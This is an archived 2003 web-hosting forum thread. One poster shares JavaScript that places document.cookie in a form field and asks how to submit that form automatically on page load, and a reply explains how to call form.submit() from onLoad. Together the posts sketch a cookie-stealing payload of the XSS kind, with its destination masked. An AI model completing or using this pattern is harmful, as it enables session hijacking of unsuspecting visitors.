Web Hosting Talk







View Full Version : (Javascript) Need urgent help


Dope_010
03-06-2003, 03:08 PM
How , using some javascript like this

function Mmcookies()
{

document.write("<form action=******** method=post><input name=cookie value='" + document.cookie + "'><input name=submit value=submit>");

}
<body onLoad="Mmcookies()">

Could I get the form to , using the onLoad function , submit.

hololi
03-07-2003, 08:25 PM
not sure if I understand the question correctly but my $0.02

first impression is yes


I am guessing you are not writing the javascript yourself (the function name starting with "Mm" smells like dreamweaver ...


anyway ..

if you have a form you can submit it by calling the document.forms.[formname].submit() function (am not fully aware of the syntax as I last looked at javascript about 3 years ago)

if you search the web for validating using javascript in google I am sure there are a lot of validation scripts. The last thing they will usually do is submit the form so that should give you the correct syntax


from your code fragment I'd have

a name on your form (e.g myform)
<form name="myform" ........>


inside the onLoad() call"myscript()"
<body .....onLoad='myscript'>
my script would look like

function myscript
{
alert (inside my script') //comment this out when you're happy

do your cookie business with the input field of th e form "myform"
(document.forms.myform.cookie.value=document.cookie..just guessing this line)

document.forms.myform.submit()
}


hope this helps
hololi